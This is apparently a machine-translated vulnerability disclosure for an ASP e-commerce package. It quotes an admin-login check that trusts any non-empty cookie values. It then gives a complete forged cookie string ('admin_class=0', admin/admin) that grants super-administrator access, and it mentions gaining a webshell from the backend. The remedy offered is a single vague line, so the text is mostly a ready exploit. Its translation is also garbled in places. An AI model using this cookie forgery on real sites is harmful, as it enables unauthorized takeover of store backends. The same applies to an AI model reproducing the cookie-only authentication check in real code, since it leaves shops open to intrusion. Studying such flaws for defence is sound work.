Tencent Internet Shopping System V8.0 Simplified Chinese version Cookie Spoofing Vulnerability and repair

Source: Traces Space

Code http://www.venshop.com/down/venshop.rar
Small Program, forget it
Ad_chk.asp: Determine the Administrator Logon status

<%
If Request. cookies ("venshop") ("admin_name") = "" or Request. cookies ("venshop") ("admin_pass") = "" or Request. cookies ("venshop") ("admin_class") = "" then
Response. Cookies ("venshop") ("admin_name") = ""
Response. Cookies ("venshop") ("admin_pass") = ""
Response. Cookies ("venshop") ("admin_class") = ""
Response. redirect "ad_login.asp"
Response. end
End if
%>

Determine admin_class

C: Inetpubwwwroot> findstr/I/n/s "admin_class" *. asp
Ad_admin.asp: 29: rs ("admin_class") = request ("class1 ")
Ad_admin.asp: 43: rs ("admin_class") = request ("class ")
Ad_admin.asp: 92: <option value = "0" <% if rs ("admin_class") = 0 then response. write "s
Elected "%> administrator </option>
Ad_admin.asp: 93: <option value = "1" <% if rs ("admin_class") = 1 then response. write "s
Elected "%> product management </option>
Ad_admin.asp: 94: <option value = "2" <% if rs ("admin_class") = 2 then response. write "s
Elected "%> order management </option> </select> </td>
........................

It can be seen that when admin_class = 0, it is the total administrator identity.
The cookie is forged as follows:

Themes = default; Count = lao = 3; Countecho = lao = True; aspsessionidqaadrsulfate = CDBDHEHCLJOIHFDAHLFHABIO; venshop = admin % 5 Fclass = 0 & admin % 5 Fpass = admin & admin % 5 Fname = admin

Then visit http://www.bkjia.com/ad_manage.asp, and webshellcan be used in the backend.

Fixed: enhanced judgment